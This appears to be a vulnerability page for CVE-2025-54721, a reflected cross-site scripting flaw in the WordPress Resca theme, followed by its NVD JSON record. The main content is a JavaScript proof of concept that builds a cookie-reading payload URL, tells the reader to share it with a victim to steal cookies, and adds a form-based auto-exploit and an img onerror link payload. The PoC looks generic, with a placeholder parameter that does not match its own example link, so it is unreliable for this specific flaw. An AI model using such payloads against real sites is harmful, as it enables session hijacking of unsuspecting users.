CVE-2025-54721

<!-- CVE-2025-54721 Reflected XSS PoC for Resca Theme --> <!-- Target: WordPress Resca Theme <= 3.0.2 --> <!-- Malicious URL that triggers the XSS --> <!-- Replace 'TARGET_URL' with the vulnerable website URL --> <script> // Construct the malicious URL with XSS payload const targetUrl = 'TARGET_URL'; const xssPayload = '<script>alert(document.cookie)</script>'; const maliciousUrl = targetUrl + '?param=' + encodeURIComponent(xssPayload); // Display the exploit URL console.log('Malicious URL:', maliciousUrl); console.log('Share this URL with the victim to steal cookies'); // Automated exploitation (for demonstration) // In real attack, this would be delivered via phishing email or malicious page function exploitXSS() { // Create a form to auto-submit to the vulnerable endpoint const form = document.createElement('form'); form.action = targetUrl; form.method = 'GET'; const input = document.createElement('input'); input.name = 'param'; input.value = xssPayload; form.appendChild(input); document.body.appendChild(form); // form.submit(); // Uncomment to auto-exploit } </script> <!-- Simpler attack vector - direct link --> <!-- https://vulnerable-site.com/?s=<img src=x onerror=alert(document.domain)> -->

{"cve": {"id": "CVE-2025-54721", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:58.053", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress Resca resca allows Reflected XSS.This issue affects Resca: from n/a through <= 3.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/resca/vulnerability/wordpress-resca-theme-3-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}